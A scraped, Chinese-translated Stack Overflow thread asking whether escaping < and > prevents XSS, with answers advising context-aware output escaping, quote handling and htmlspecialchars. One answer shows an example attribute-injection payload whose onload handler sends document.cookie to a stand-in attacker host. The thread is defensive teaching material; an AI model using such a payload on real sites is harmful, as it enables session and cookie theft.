用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?
Posted
技术标签:
【中文标题】用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?【英文标题】:Is replacing : < and > with < and > enough to prevent XSS injection?用 < 和 > 替换 : < 和 > 是否足以防止 XSS 注入? 【发布时间】:2011-01-08 00:15:26 【问题描述】:我想知道将<
和>
这两个标记是否足以防止XSS注入?
如果不是,为什么?最好的解决方案是什么?
【问题讨论】:
【参考方案1】:这在很大程度上取决于上下文。
看看这个例子,来自一个典型的论坛网站...
您可以热链接您的头像图片。输入完整的网址。
恶意用户进入输入框
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
那里没有小于和大于的编码,但仍然是一个很大的安全漏洞。
对于htmlspecialchars()
,我发现创建(或使用)它的包装函数来转换为字符串是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用应用程序的正确字符集。 Kohana 有一个great example。
【讨论】:
嗨,谢谢大家的回答,我问这个是因为我认为所有字符都在数据库中占用更多空间。谢谢 我不会编码进入数据库,但编码出来。通常最好“按原样”存储用户数据,并提供一些机制以使其安全显示。 我完全同意 keep-it-raw-until-it-hits-the-page 方法,但是我强烈建议不要“禁用双引号”,因为它会破坏你的字符串。例如,如果我想说&amp;amp;
在一篇谈论像这样的 HTML 的帖子中,该选项将无法在源代码中将其转义为 &amp;amp;
,因此它会在屏幕上显示为 &
,使得我看起来像个白痴。编码是一个过程,而不是一个状态。
一般规则是接收数据时做输入验证,输出数据时输出转义。请参阅 OWASP XSS 预防备忘单,了解如何在不同情况下进行逃逸:owasp.org/index.php/…【参考方案2】:
您应该还考虑双引号 "
、单引号 '
和 & 符号 &
。如果您在显示/生成输出的所有期间都这样做,那么是的,这就足够了。
您只应确保为任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和用户控制的输入存储在数据存储中。
在 PHP 中,您可以使用 htmlspecialchars()
来做到这一点,而在 JSP 中,您可以使用 JSTL <c:out>
来做到这一点。
【讨论】:
注意htmlspecialchars
默认只转义双引号,而不是单引号。但这通常没问题,因为很少使用单引号作为属性分隔符。使用ENT_QUOTES
确保两者兼得。以上是关于用 < 和 > 替换 : < 和 > 是不是足以防止 XSS 注入?的主要内容,如果未能解决你的问题,请参考以下文章
Laravel 5.3,用图片替换分页链接(<< 和 >>)
用 <p> 标签和类替换标题 (<h1>, <h2> ...) 标签